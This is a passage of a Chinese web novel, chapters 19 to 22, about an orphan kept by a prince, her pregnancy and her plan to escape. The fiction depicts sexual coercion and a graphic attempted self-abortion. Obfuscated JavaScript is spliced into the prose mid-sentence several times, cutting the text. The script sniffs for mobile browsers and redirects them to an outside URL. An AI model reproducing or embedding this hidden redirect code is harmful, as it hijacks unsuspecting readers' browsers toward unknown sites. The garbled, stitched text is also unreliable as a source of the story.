她绝望地拽住他的头发,狠狠扯了一下, “说话,你为什么要这样对我!” 她的身子被不断挤压,头颅被挤出窗外,被精心保养过的黑发落在地上层层叠叠的许多张地毯之上。 泠川看着自己的头发和皮肤,顾时每年都要在她身上砸一大笔钱来维护她的美貌,但她内心毫无感激,因为这和他花钱保养一辆马车没有任何区别。 区别只有没人会要求马车感激主人,但常常有人要她感谢顾时给她奢侈的生活。 顾时回应她的只有沉默和身子上进一步的动作,他知道这是泠川在试图逼迫他承认爱她。 他看着泠川的双眼,仿佛她的眼睛是两面幽暗的镜子,映射着他的无能为力和疯狂。 他都已经做出了那种永远忠诚于她一人的承诺,她不可能不知道他爱着她,只是她坏心眼,在逼迫他亲口说出来罢了。 “因为你绝对没办法离开我……” 顾时的脸色挂着讽刺的笑容,仿佛这样说了,自己就能占据上风似的。 他像一个装满了水的瓶子,将满瓶的欲|望向她倾倒。 他用手掌确认着她的骨骼形状,毫无疑问,泠川是他唯一依赖的真实存在,唯一的爱情来源,他被满足得很好,完全没有想过用别人去替代她的可能。 顾时第一次见到泠川的时候,就知道她注定会成为他的什么,对此他也抱着一种抵触和恐惧。 他不知道,泠川因父母双亡而失魂落魄,主动抱着他寻求安慰的那天,如果他把她推开,事情会发生怎样的变化。 19. 第 19 章 说实话,顾时对于泠川父母双亡之事心怀余幸。 顾时第一次见到她时,情不自禁地后退了两步。 上天让他以极其微弱的几率遇见了泠川。她是一个脆弱无助,只能依赖他的女孩,这让他有一种怪异的安全感。 是的,她绝对不可能离开他,因为她孤苦无依,无亲无故并且年幼。 顾时看到她失魂落魄的样子,就暗喜这世界上还有另一个年龄相近的女孩同他一样不幸。 如果顾时那日没有一时兴起去那家不起眼的小店,他就不可能遇见她,如果那日不起火,他就不能如此轻松地得到她。 顾时承认自己德行有亏,趁虚而入,她父母双亡,六神无主,他几乎没什么代价就得手了。 毕竟她只是一个十四岁的孤女,急需一个人给她提供生活保障。而他比她大两岁,能给她奢侈的生活。 泠川除开皮囊之外没有任何本钱来交换,因此也只得这样,别无他法了。 顾时知道她的委身是别无他法,时不时便会陷入她是否真心爱他的焦虑当中,但这种焦虑很快就会被他的自欺欺人给掩饰过去。 一些略有些姿色的丫鬟会嫉妒泠川的好命,只凭着一张皮囊就得到了王爷的垂青,明里暗里说她的闲话,给她使绊子。 他不喜欢别的女人嫉妒泠川,也不喜欢别的女人把他当成猎物,所以寻了个由头把她们都弄走了。王府里只留下了一些心里有数且没什么姿色的年长丫鬟伺候。 看到泠川略带无助的双眼,顾时想,他们已经认识六年了。 有时顾时会觉得泠川变成了一个他掌控不了的人,但那只是一种错误的直觉,她依旧孤苦无依,永远逃不出他的手掌心。 “泠川,明日就是你的生辰,你想要什么?” 他抱着泠川,把下巴搭在她的肩膀上,亲了亲她的脖子。 一只长毛的小白猫窜进来,飞跃到床榻上,一边喵喵叫,一边去蹭泠川的手。 顾时不耐其扰,想直接把这不速之客给丢下去,却被泠川拦住。 她双手抓着小猫的腋下,把它举起来,仔细端详,认真发问: “能抓耗子不?” 小猫咪发出一声娇弱委屈的喵,它只是一只连衣柜都跳不上去,笨笨的宠物猫,抓耗子也太难为它啦。 外面的宫女心里忐忑,踌躇着不敢进去,连一只小猫都看不住本就是她的失职,可她又不敢冲撞了顾时床榻上的私事。 “不能抓耗子的猫没用啊。” 泠川把小猫放下,它发出一声娇软的媚叫,在她怀里扭了一扭,肚皮朝天,一边呼噜一边热情地邀请她来摸它柔软温热的肚皮。 它都摆出这种姿态来,再不摸就不礼貌了,泠川无可奈何地把手放到它绵软的肚皮上,它幸福地呼噜呼噜了起来。 顾时不喜欢这种毛茸茸的动物,掉毛掉得到处都是,嫌弃地拍了拍自己的袖子,说: “这猫喉咙里怎么一直响个不停,赶紧丢出去吧。” 泠川噗嗤一笑: “顾时,你是不是傻?猫只有在开心的时候才会发出呼噜声呢。” 她摸了摸小猫咪的头,它开心地眯起了眼睛。 “我小时候养的狸花猫傲气得很,从来也不肯让我摸摸,但抓耗子真是一把好手。” “这小猫估计是宫女们闲来无事养着玩的……你若喜欢便送你?” 她摇摇头: “罢了,这猫没一点野性,还是还给她们吧,即便是宠物,我也喜欢有尊严一点的。” 顾时估计宫女已经在外面吓坏了,把衣服穿好,勉为其难地把猫抱在怀里。 它亲热地去蹭亲顾时的脸,他嫌弃地躲开,小猫咪发出了委屈又疑惑的喵声。 世界上第一次有人不喜欢它,小猫咪委屈极了。 “是谁养的猫?” 外面的两个宫女哆嗦着嘴唇,说不出半个字,连忙跪下磕头。 顾时叹了口气: “是谁的谁拿回去,把它管好,别再乱跑了,下不为例。” 他回到房中,泠川只穿了件中衣,懒懒的卧在床榻上,支使他去倒茶。 “泠川,明日就是你的生辰,你想要什么?” 她用帕子盖着脸说: “你虽然嘴上说着是送了我东西,但实际上这些东西也只是暂且借给我用用罢了。” “横竖我也逃不出你的手掌心,你送我东西,不过是肉烂在锅里罢了。不管是得了金银珠宝还是绫罗绸缎,都没什么区别,我死了你也是送给下一个女人来讨巧。” 顾时皱起眉头, “你又说这些干什么?” 她只冷冷瞥了他一眼。 “难道不是吗?被我说中了。” 她看着天花板,缓缓道: “你与其送我什么,倒不如放我自己出宫溜达一天开心。” 泠川得找个机会绕过顾时,把自己腹中的胎儿处理掉 他讨好地握着她的手说: “我明天陪你一起?” 泠川回过头,眼角直立,把手抽回来,冷冷地看着他,笑道: “你不是最怕人说闲话,从来不肯同我一起出去吗?怎么今日又肯了?” 顾时抿着嘴,将泠川从头扫视到脚,缓缓开口: “横竖都到了今日,再装模作样也没什么意义。” “是,反正都与你无碍。你不会以为陪我出去逛逛对我而言是什么奖赏吧?” 泠川讽刺地笑了起来。 “可是你之前不是一直说想要我陪你出去吗?” 他想把头靠在她的肩膀上,她却躲开了。 去年,前年,大前年,泠川都说了想在生辰时与顾时一同出游,可他都以各种各样的理由拒绝了。 他记得她一次对他百般承欢讨好,一次对他发了好大的脾气,弄得鸡飞狗跳。去年,她只是将此事随口一提,被他拒绝后就没再过问了。 “泠川,你真的不想和我一起出去吗?你之前不是求了我好几次吗?” 他不死心地继续追问。 “之前是之前,现在是现在,我明天只想自己出去逛逛。而且,之前你有空时都百般推脱,如今政务繁忙,怎么反倒想起来要陪我了?” 被泠川来回刺了几句,他认输 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“泠川,你是在怪我没给够你月钱吗?” 顾时被她拉着走出了戏院,她连这点银子都要争执半天,是不是嫌弃他给的银两少了。 他想起自己先前告诫过泠川要节俭,心中有些愧疚,他怎么能让泠川为了十两银子跟别人红脸呢,得再多给她些月钱才行。 “芙蓉夫人我看过了,没什么可看的,就是一个女人蠢到把自己作死了的故事。” 泠川双手环抱,没好气地说。 “你看过?这样的戏,你是同谁一起看的?” 泠川忽然怔住,一时竟答不上来。 她是同秦思昭一起看的这出戏,他轻轻地叫她荣儿,秦思昭还说了……我进京赶考就是为了和你相遇的……这种话…… 泠川拼命告诉自己这种话不能信,可是她还记得他笑起来眼睛弯弯的,他眼下有一点小小的泪痣,很好看,非常好看。 好看到她几乎都要信了他说过的话。 “草民参见王爷。” 一个清冽的声音响起,泠川冷不丁地转头,竟然看到秦思昭着一席简朴青衣,对着顾时微微一拱手的样子。 他为什么会在这里…… 他神色如常,不卑不亢地看着顾时,眼角的那颗小痣刺得泠川的眼睛发痛。 泠川愣在原地,张了张嘴,却发不出任何声音,只觉得无地自容。 20. 第 20 章 丢脸……太丢脸了…… 泠川低下头去,不敢看秦思昭的眼睛,身体不停打颤。 秦思昭倒是面色如常,客气地同顾时打了招呼。 虽然他文质彬彬,礼数周全,浑身的气度都挑不出毛病,可顾时就是莫名其妙觉得别扭,往前一步,挡在了泠川身前。 “我……我觉得有点渴,去买杯甘蔗茶喝……” 泠川随口找了个理由,赶紧逃离现场。 被秦思昭看到她和顾时同游的样子实在是让她羞耻不已,她本就没有脸面再见他…… 若是问心无愧也就罢了,可她偏偏问心有愧。 瞥见泠川匆匆逃跑的样子,秦思昭只勾起嘴角,微微一笑。 “听说王爷先前在为义妹寻夫婿,请问有人选了吗?” 顾时心中顿时警钟大作,冷着脸道: “暂时不给她找夫婿了。” 秦思昭只客气笑道: “真可惜,我原本有个远房堂兄未娶。” 他心中已然有数,知道此事没那么简单,他不能轻举妄动,否则泠川会被牵连受害。 目前泠川的生死还掌握在顾时手中,他不能因一己私欲就鲁莽草率,把她置于危险境地而不顾。 他观察到,顾时明显松了口气,秦思昭只怕顾时怀疑泠川与自己有什么利益勾结,从而猜忌伤害泠川。 他又与顾时简单寒暄了几句,便告退了。 见到顾时脸色不对,秦思昭将手放在下巴上,思虑他先前是否真心让泠川出嫁。 思绪像一团乱麻,秦思昭冷静地沉思,若是顾时真心想让泠川出嫁当然最好,可必须做好万全之策,即使是最坏情况也能应对才保险。 他忽然心生一计,众口铄金,倒不如先把王爷心善,无私收留孤女的好名声传出去再说。 不论如何,先用贤良清白的名声把顾时架起来总是没错,最好是让文武百官都觉得顾时和泠川是清清白白。 他如今正在权力交接的关键期,自然会爱惜羽毛,珍重声望,不应为了一个女人损失皇威。 根本就不需要考虑顾时先前是否真心让泠川出嫁,顾时一旦被好名声架了起来,他和泠川大可以光明正大地结合,毫发无损地淡出顾时的视线。 他会辞官带泠川回家乡继续开个医馆,顾时可以放弃泠川来置换权力和名望,此乃双赢之计,顾时虽然吃了暗亏,但没理由再找他的麻烦。 “泠川,甘蔗水好喝吗?” 看见泠川真的认认真真地坐在一个小摊子的板凳上,拿着破边的廉价瓷碗喝甘蔗水可爱的样子,秦思昭没忍住笑了出来。 他本以为她只是找个借口,没想到真的来喝这种廉价的甘蔗水了。 她似乎被吓了一跳,差点把甘蔗水洒在衣服上。 “秦……秦公子,你怎么在这里。” 她局促不安地低下了头。 “我会有办法的,别担心,等我。你那边一切如常即可,不要着急。” 他留下这样一句话便走了,泠川眨了眨眼,觉得甘蔗水甜了几分。 秦思昭的话语那样的踏实,牢靠。安全感从泠川心底油然而生,她忍不住开始纵容自己期待未来。 秦思昭说,他会有办法,他说了叫她不要担心…… 泠川低头看着自己的肚子,既然他那么勇敢,那她也不能落后,必须得自己把这个问题解决了才行。 她不会隐瞒他,但她也绝不会把这个决定交给他去做,那相当于在逼迫他接受一个不是他骨血的孩子。 既然秦思昭有为了她而做出努力,那泠川也要努力才行,她已经下定决心要靠自己来解决这个胎儿。 她得鼓起勇气甩掉所有拖累,才能配得上他的一番好意。 可是现在,她还得回到顾时身边去,继续对他虚以委蛇,笑脸逢迎。 泠川咬了咬牙,抿紧了嘴唇。 她站了起来,拖着双腿,一步一步地走回顾时身边去。 她穿着一身襦裙,伸手摸了摸自己胸口处用丝带打着的结,那是顾时今早亲手给她打的。 一些底线一旦被突破,那就只有咬牙后悔的份儿,根本就不可能再退回到原本应有的距离。 一步错,步步错……她根本就没有挽回的机会。 泠川见顾时神色如常,她不敢猜他和秦思昭之间都说了什么,也不敢开口问。 “泠川,你怎么脸色这么奇怪?” 泠川想起秦思昭给她的嘱托是“一切如常”,便勉为其难地露出了一个微笑。 “没什么……那位公子应该是某位官员吧……我怕有人在朝廷上说你的闲话,所以才觉得紧张。” 泠川相信状元郎的脑子比她的好用,既然他那样嘱咐她,那一定自然有他的道理,她只要选择无条件相信他就好了。 顾时的表情舒缓了几分,是自己又多虑了。 放松后,顾时却觉得有几分烦躁,他的直觉总是把两个八竿子打不着的人组合在一起,明明秦思昭根本就没看泠川一眼。 他现在根本不想让泠川离开他的视线,光是想到那种微妙的可能,他就觉得浑身难受。 “无所谓,事已至此,说便说去吧……” 泠川低着头道: “都是些嘴碎的瞎传谣言。” “不是谣言。” 顾时俯视着泠川,一字一顿地说道,他的视线像一张密不透风的大网一样将她罩住,她如同溺水一般在他的视线里喘不过气。 泠川张了张嘴,却什么都没说出来,只回避了顾时的视线。 一切如常……她默念了一遍秦思昭对她的嘱托。 可是顾时却变得反常了……她不想去揣摩他的动机,只想好好思考对策。 “泠川,你知道那些都不是谣言,有些场面话说说也就罢了,别自欺欺人。” 泠川勾起嘴角笑了笑: “活一天看一天,随便吧。” 她抿了抿嘴,他是又想要把一切的过错都归咎到她的头上吗。 顾时是不是又要指责她为了攀上王府这棵大树,恬不知耻地勾引了他,引诱得一个君子堕落…… 还是说顾时在敲打她摆正自己的身份,别再把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你可以有身份。” 他一时情急,嘴一快便把心里话说了出来,说出来后他又后悔了,他不想让泠川觉得是他更需要她。 “不是什么大不了的身份,我无非也就随手给你弄个名头……也没什么阻碍。” 泠川略微有些被他惹恼。 “可算了吧,我自知资质愚钝,性子又急,受不得半点委屈,可不敢参合你们帝王家的事,弄不好要掉脑袋的。” “你有这个自知之明就好。” 顾时又把脸撇到一边,不想看她。 他也不知自己是怎么了,泠川若是知道了他的心意,他会不高兴,泠川若是对他的心意浑然不知,他也不高兴。 他只想把满心的不快转化成了某种难宣于口的欲}望,尽快宣泄在泠川的身上。 反正是她让他心里不痛快,她活该。 21. 第 21 章 在马车里,顾时冒昧地去拽泠川的头发,她头上的簪子掉了下来,无声地落在地毯上。 “顾时,你又发什么疯?” 她拧着眉毛,立着眼角,带着怒意看着他。 “泠川,你总是让我心里不痛快。” 顾时冷笑道。 “那是你自己的问题,我什么都没做错。” 此话一出,泠川心里莫名其妙地觉得好痛快。 反正他们二人是一起造了孽,后果却全要由她来承担,既然她承担了责任,那她就没错。 顾时发了疯一般欺上身来咬她的脖子,她用胳膊肘使劲把他往外推。 “这可是在马车上,你干什么?” 她咬着他的耳朵小声说。 “我管不了那么多了。” “顾时,你这个疯子。” “是你把我逼疯的。” 泠川又气又莫名其妙觉得好笑,她哪有法子去逼顾时,是顾时把她逼疯了还差不多。 马车上的座位窄窄的,顾时觉得施展不开,便强行将她的襦裙掀起,半跪在她腿间。 “如果你不想被人听到,就别出声。” 凉飕飕的小风在泠川苍白纤细的腿间钻来钻去,她觉得又羞耻又愤怒。 “顾时,我要在你脸上抓两个血印子,让你脸上带伤去见文武百官……” 泠川伸手去抓他的脸,他不耐烦地躲开,直接抽下她胸前的丝帛,牢牢捆住她的双腕。 “别乱动。” 他将她的碎发捋到而后,露出她满含怒火的眉眼。 他想让她消消气,便轻轻吻了她的嘴唇,却被她咬了一口。 “还是算了吧……” 他自知此事做的不对,心虚着把捆在泠川双腕上的丝帛解开,安抚般地摸了摸她的头发,简单给她挽了个发髻,重新把簪子插好。 他伸手到泠川的腋下,将散落的襦裙重新穿好,给她的胸口的衣物重新用丝帛固定,讨好般地亲了亲她的脸。 “别怪我,我刚才冲动了。” 顾时伸手把泠川搂进怀里,让她躺在他膝盖上。 “别生气了泠川,跟我说句话吧。” 泠川咬紧牙关,暗自下定了要离开顾时的决心。 他想磋磨她,凌辱她的时候大可以肆意玩弄,良心过不去的时候又假模假式地跟她客气几句。 无论是对她好,还是不好,皆掌握在他的手里,他想怎么样就怎么样,完全没有一丁点后果。 就算他良心发现,客客气气地待她,那无非也只是一种新鲜的玩法罢了。 要是自己因为一丁点小恩小惠就对他感激涕零,那才是真正的贱得慌。 她冷笑看了顾时一眼,嘲讽道: “多谢王爷对小女高抬贵手呀。” 他非常亲密地抱着她,让她把下巴搭在他的肩膀上,闷闷地说: “别叫我王爷……我最喜欢你叫我的名字。” 泠川假笑着亲了亲他的脸。 “行了,顾时,我不生你的气了。” 确实,她根本没那个跟他斗气的必要,只要在合适的时间离开他就行了。 泠川非常顺从地跟顾时回到了皇宫,她发髻松散,在皇宫里觉得很不自在。 她只得在宫女的视线中低下头去,谁也不是傻子……她们心里肯定明白是怎么回事。 顾时似乎真的公务缠身,让泠川一个人待在琮翠宫。 她窝在榻上打哈欠,顿时觉得一阵恶心,用帕子掩住嘴连连干呕,忽然想起自己的止吐药还留在王府。 这皇宫不比王府,人多眼杂,并且宫女们对这些妇人害喜的症状十分敏感,泠川觉得自己迟早要被拆穿。 一个小丫头毕恭毕敬地对她行了个礼,供上一盘子荔枝来。 “姑娘,这荔枝是八百里加急送来的呢,奴婢雪儿特意从内务府给姑娘讨来的。” 见雪儿一副邀媚献宠的样子,泠川无地自容,尴尬地手指一直敲击大腿。 恐怕她是觉得自己迟早能当上娘娘,才特地前来讨好她的。 “我在宫里待不久便走,你不必对我多费心思。” “皇宫岂是想来就来,想走就走的,既然您能住下,就必然能在宫内有一席之地,姑娘且安下心来吧。” 泠川将脸撇到一边去,冷冷道: “你自便吧。” 她把她当成什么了?王爷的姬妾?说得就跟她稀罕住在这儿一样。 她真受不了宫女用那种看未来的娘娘的眼神看着她。 为了避免被宫女们看出异常,她把她们都撵出了卧房,早早歇下了。 次日,泠川醒来洗漱完毕,冷冷地看着镜子,心想今日是自己的二十岁生辰,她今年要不择手段地离开顾时。 “恭贺姑娘的生辰。” 雪儿进来行礼,笑语盈盈道: “您看那个象牙雕刻的摆件,您喜不喜欢?是新送来的呢。” “横竖都是皇宫里的东西,生不带来死不带去的与我何干,我不过是暂且能看看罢了,有什么可喜欢不喜欢的。” 雪儿被她噎得不知说什么好,心里嘀咕这王爷的品味可真是古怪。 她一言不发,起身去找顾时。 殿前站了一个老宫女,她拦着泠川道: “王爷此时在忙处理公务,谁也不见,麻烦姑娘等一等吧。” 要是换作在王府,她一脚便把门踢开闯进去了,可如今是在宫里,她不想在皇宫里出名,也只好默不作声应了。 她在凉亭里干坐了一个时辰,老宫女才把她叫了过去。 老宫女额头上出了一层汗,汗珠夹在抬头纹里。 王爷刚才对她发了脾气,她才知道泠川原来不在“谁来找都不见”的这个名单里。 顾时从屋内给她端来了一盏凉茶,递到她手上问: “怎么真在这里老老实实地等了这么久,我还以为你再不济也要大吵大闹呢。” 她直接就着他的手把茶喝了。 “我可不想在皇宫里出名。” 顾时忍俊不禁。 “你已经在宫里出名了。” “今日是我的生辰,我想自己出去转转。” 喝完了茶,她顺手把茶盏往他手里一塞。 听到泠川要独自出门,顾时心里又觉得很别扭,他无端想起泠川昨日见到秦思昭时那心虚的样子,违和感又如同杂草一般从心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16310339|182893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 底长了出来。 “呵,这么想独自出门,你是要去见谁吗?还是说在心底盘算着怎么摆脱我呢。” 话音刚落,顾时被自己的想法吓了一跳,泠川怎么可能在心底盘算着怎么摆脱他呢,离了他,她还能去哪?还有谁愿意庇护她,给她奢侈的生活? 他马上补充了一句: “呵,说得就跟真有那么一回事似的,根本就不可能,要是离了我的庇护你什么也不是,出不了三天你就要被拐到青楼里去了。” 泠川对于他充满焦虑的冷嘲热讽充耳不闻,视而不见,打了个哈欠。 “那我出去了。” 他不咸不淡地点了点头。 “去吧,离了我,你一个人玩得开心点。” 看着泠川的背影,顾时淡淡地开口: “姜九州,跟上她,好好给我汇报她都去了哪。” “是。” 影卫姜九州恭敬地点了点头。 泠川坐上马车直奔女医馆,她只知此事需掩人耳目,却对有影卫跟踪自己一事浑然不知。 她侧身钻进一道窄门,进入一个窄小的房间,女医就坐在那里。 她伸出手腕,在简单把了把脉后,女医开口: “姑娘,您身体底子还算不错,可最近消耗太大,胎象有不稳迹象,您行房过度了。” 她皱起眉,有些责怪地看着泠川,就像她做错了事似的。 那女医说得直白,泠川的脸上却没有局促和羞涩,直接开口。 “不瞒着您,我是一个大户人家的通房丫鬟,主子的正妻不允许我怀孕生子,我又拒绝不了主子……还请您行行好帮我打了吧。” 女医斜着眼睛看了她一眼,指了指旁边那道小门。 “我可没法帮你做这个,你进去,自行处理吧。” 泠川心里忐忑,半信半疑地走了进去。 里面的空气很闷,腥臭味弄得她想吐。只摆了一张脏兮兮的小床,那小床明显清理过了,可是上面的血污已经深深沁入了床铺当中,清洗不掉。 床上放着一根粗长的铁钩。 这是什么意思……什么叫自行处理…… 她想起女医冷冰冰的眼神,想必她是对此事见怪不怪了吧。 泠川犹豫了几次,又从小屋里走了出去,问女医: “大夫,这铁钩是干什么用的?” 女医冷笑: “你都已经同男人行房数次,还装什么?那铁钩自然是帮助你堕胎用的。” “这怎么堕胎?” 泠川的脸色一下变得苍白。 “懂怎么勾引男人,却不懂怎么解决么?自然是把铁钩伸到胞宫里,将胎儿直接勾出来,来我们这里的女人都是这样的,不过,解决后一个月就不能同房了,你克制下吧。” 泠川的嘴唇和手指一直发抖。 “好……好……我知道了……” 她阴沉着脸又走进了小屋,窸窸窣窣地将中裤脱掉,忍着恶心坐到那满是血污痕迹的小床上。 阴风往她的裙子里钻,她已经用铁钩对准了双腿之间的那个位置。 她手一抖,铁钩偏离到她的大腿内侧,好冰,她没忍住打了个寒颤。 22. 第 22 章 那寒冷刺骨的感觉从大腿内侧一路往上蔓延,幻痛搅得她腹中不停颤抖,仿佛五脏六腑都被那蚀骨的冰冷搅碎掏空了一般。 她忍不住一边抽搐,一边歪倒在床上,眼泪如失禁一般落下,却哭不出声来。 今日是她的二十岁生辰……泠川想,她娘答应过要在泠川二十岁的时候把自己的嫁妆送她,那是一处不大的小铺子。 她娘笑嘻嘻地跟她说,等她二十岁的时候,就让她自己当老板,把铺子管起来,盈亏自负。 若是她娘在天之灵知道了自己的女儿要遭这种罪,恐怕在九泉之下都要肝肠寸断了。 啪嗒一声,铁钩落地。 “对不起……对不起……” 泠川不知道自己在跟谁道歉。 “好可怕……我真的好没用……我做不到……” 她用双手捂住脸。 泠川睁开双眼,看着那铁钩,一种强烈的自我厌弃感涌上心头,她没想到自己竟然是这么怯懦的人。 为什么她明明已经下定决心了,却还是下不去手呢。 “你完事没有?还要待多久?下一个病人还要看病呢。” 女医推开了门,语气里带着不耐烦和责备。 “要哭出去哭,想好了再来,别浪费我的时间,早干什么去了?” 泠川伸手扶住墙,颤颤巍巍地站了起来,脸色惨白。 “你不是没下的去手吗?怎么连站起来都慢腾腾的?” 她一句话也没说,慢腾腾地离开了小屋。 她想起可恶的官兵来收税,家里一口气拿不出二百八十两银子,只得把她娘亲打算送她的铺子匆匆卖掉,她娘觉得对不起她,在家里哭了好久。 顾时一根体面些的腰带都不止二百八十两银子,原来她家竭尽全力才交出的银两,就被像顾时这样的人随手用掉了。 泠川发现,原来自己下定的决心竟一文不值,她什么都做不成。 秦思昭,能轻轻松松考上状元,可是自己怎么连这点事都解决不了呢…… “姑娘,你怎么了。” 泠川抬头,发现面前的是一黑衣男子。 这男子长了一张丢进人堆里都找不着的大众脸,任谁看了都觉得有三分面熟,她并想不起来这人是谁。 说实话,他不过是个一辈子只见一面的陌生人,就她抓着他哭诉一番,算把秘密尽数告诉他也没什么所谓。 但这男子语气冷冰冰的,像是在质问她似的,令泠川有些不爽。 “没什么。” 姜九州知道泠川不认识他,便故意上前套话。 女医馆是特意设计过的,里面并没有什么藏身之处,这样可以避免有歹人偷窥女病患的隐私。姜九州与其跟踪,还不如套她的话来得快些。 “你为何表情如此不悦?” “因为你在跟我搭话,而我不想跟你说话,所以不悦。” 泠川直接翻了个白眼,站起来走了。 她得回王府去拿止吐的药才行。 路边一个老头摆摊算命,见了泠川路过便说: “姑娘,你这面相生得真好,依我看是个娘娘的命格,必得贵子啊。” 此话一下让泠川想到自己肚子里还怀着顾时的孩子,她顾不得别的便骂道: “你懂个屁!什么就娘娘的命格了!呸!还贵子呢,真晦气!我让你给我看面相了吗你就胡说!” 老头第一次见有姑娘被人说是娘娘命还不开心的,缩着脖子,尴尬异常,其实他只要见着一个姑娘就说她是娘娘命,一般都能把人哄得喜笑颜开。 骂完后,泠川冷静下来,也觉得有些愧疚后悔。 “以后不要瞎给人看面相了……” 她一边嘟囔,一边赶紧走了。 人家不过是个摆摊算命的老头,都是为了讨口饭吃胡说的,是自己太意气,欺负人家了。 泠川坐马车回到了王府,只见金盏歪在院子里晒太阳偷懒。 这几天顾时和泠川都不在,金盏一边焦虑自己可能会失业,一边又美滋滋地开始摸鱼。 “哎哟,姑娘,你来了?” 金盏一下从摇椅上蹦起来,面色有点尴尬,这个摇椅一般都是主子才能坐的。 “嗯,不用管我,我只拿点东西。” 金盏窃喜泠川没有搭理她,便美滋滋地继续在摇椅上躺下了。 她知道泠川爱闹脾气,但她也知道泠川不会不把她当成人,这种小事,一般泠川还是不会计较的。 泠川看着自己住了六年的房间,莫名其妙觉得有些陌生,她为什么会站在这里呢。 她不过只是一介民女,过着吃喝不愁小富即安的生活,这王府跟她有什么关系呢,她本就不应该来这里,更不应该遇见顾时,这根本就不是她本来的人生。 泠川很想相信自己只是短暂地走上了歧途,总有一天会回到她正确的道路上,而不是在泥潭里越陷越深。 她的人生一定还有别的可能性,不管是王府还是皇宫,都不是她应该待的地方。 她走进自己的房间,熟练地翻抽屉。 她把止吐药放在一叠春宫下面,她知道这个位置金盏一般不会去翻。 泠川把那叠春宫拿起来,底下却空空如也。 她不信邪,又翻了一遍,最后不耐烦地把春宫图往地下乱丢,淫|靡之物撒了一地。 即便如此,还是没有止吐药。 她一边急着要去医馆再开点药,一边又忧心自己怀孕的事被金盏发现。 她究竟为什么要把她的止吐药拿走呢…… 泠川怕被看出异常,急匆匆地把满地的春宫捡起来再收回去,又坐车返回了医馆。 “姑娘,我是王爷派来的车夫,您坐我的车就是了,还另叫一辆车做什么?那种不明不白的马车您也敢坐么?” 泠川气得咬牙切齿,顾时竟然派人盯着她。 他从前根本不管她去哪,现在竟然也管上了,他有什么资格管。 “是顾时吩咐你盯着我的吗?” “王爷不过是担心姑娘一个人不安全,特意嘱咐我好好接送您,姑娘您照样是想去哪就去哪。再说皇宫重地,不是什么人想进就能进的,只有坐我的车您才能回去呢。” 泠川不耐烦听车夫罗里吧嗦地讲上一大堆,索性坐了进去。 “去女医馆。” “您不是去过医馆了吗?又要去一次?” “嗯,有东西落下了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16310340|182893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “宫里有太医,您哪里不舒服去找太医就行,去这些乱七八糟的小医馆做什么。” “少废话,你去就是了。” 她皱了皱眉头,反正这些事都能糊弄过去。 女医馆外不远,一个大爷在说书。 “这王爷可真是最最正直的君子,洁身自好,总是有人给他编造一些谣言,污他清白……实际上他最重情重义,无私地接济孤女,不求回报……” 泠川听后冷笑,这顾时可真够不要脸的,为了给自己登基造势,什么话都有脸说出口。 一旁的男子打了个哈欠道: “大爷您换个花样讲吧,这几天全是王爷……小报上也全是王爷的丰功伟绩……我听得耳朵都起茧子咯。” 泠川进女医馆买了止吐药,心想这药还能再撑一撑,若是时间一久,迟早是要瞒不住的。 如今是能拖一天是一天,大不了就直接跟顾时摊牌算了,让他找个医生帮她打掉。 她低下头去……只有对秦思昭她是无论如何都说不出口的。 泠川随手买了一份叫卖的小报,上面颇为肉麻地写了王爷仁善的“丰功伟绩”,看得泠川皱了皱眉头。 小报上还刊登了一则虐恋故事,讲述了王爷在幼年时深深恋上了一位美丽优雅的表姐,但表姐英年早逝,他颇受情伤,发誓只爱表姐一个,终身不娶,资助孤女认为义妹,不过是为了表姐的来世积福,绝无半点私心。 此条虐恋故事虽无指名道姓,但看得泠川皱了皱眉头。 顾时有表姐吗……没听他说过啊…… 他究竟是多恶趣味编这种肉麻的小故事,还广为告知,就是为了证明他和她没关系吗…… 泠川叹了口气,她早就知道,顾时是个要体面的人,他为了自己“清清白白”的好名声,没有什么是不能做的。 他派人去宣传这些,一是为了自己登基造势,二来是为了和她撇清关系。 就算泠川对他而言可有可无,他也要用这种手段,才能让自己没有一丁点道德瑕疵。 这是他惯常的做法,如今她已经不会再为这种事再感到心碎了,她只平静地想着对策。 她与顾时,真是一别两宽,各生欢喜。 泠川随手把小报揣进袖子里,吃了止吐药,回到了皇宫。 顾时似乎等候她已久似的,急匆匆地过来找她。 “泠川,我听说你去医馆了,你哪里不舒服吗?” “女人身上的病你也要听?不要脸!少叽叽歪歪的,我横竖也死不了!” 泠川翻了个白眼骂道,寻常姑娘家身上不方便说的事情多了去了,她这般回答也没什么不妥。 “就连我也不能听吗?” 他握着泠川的手,另一只手往她袖子里伸,自然地摸她的小臂。 “不能,滚。” “宫里有御医,你有什么事叫个太医来诊脉就是了,犯不上去医馆。” 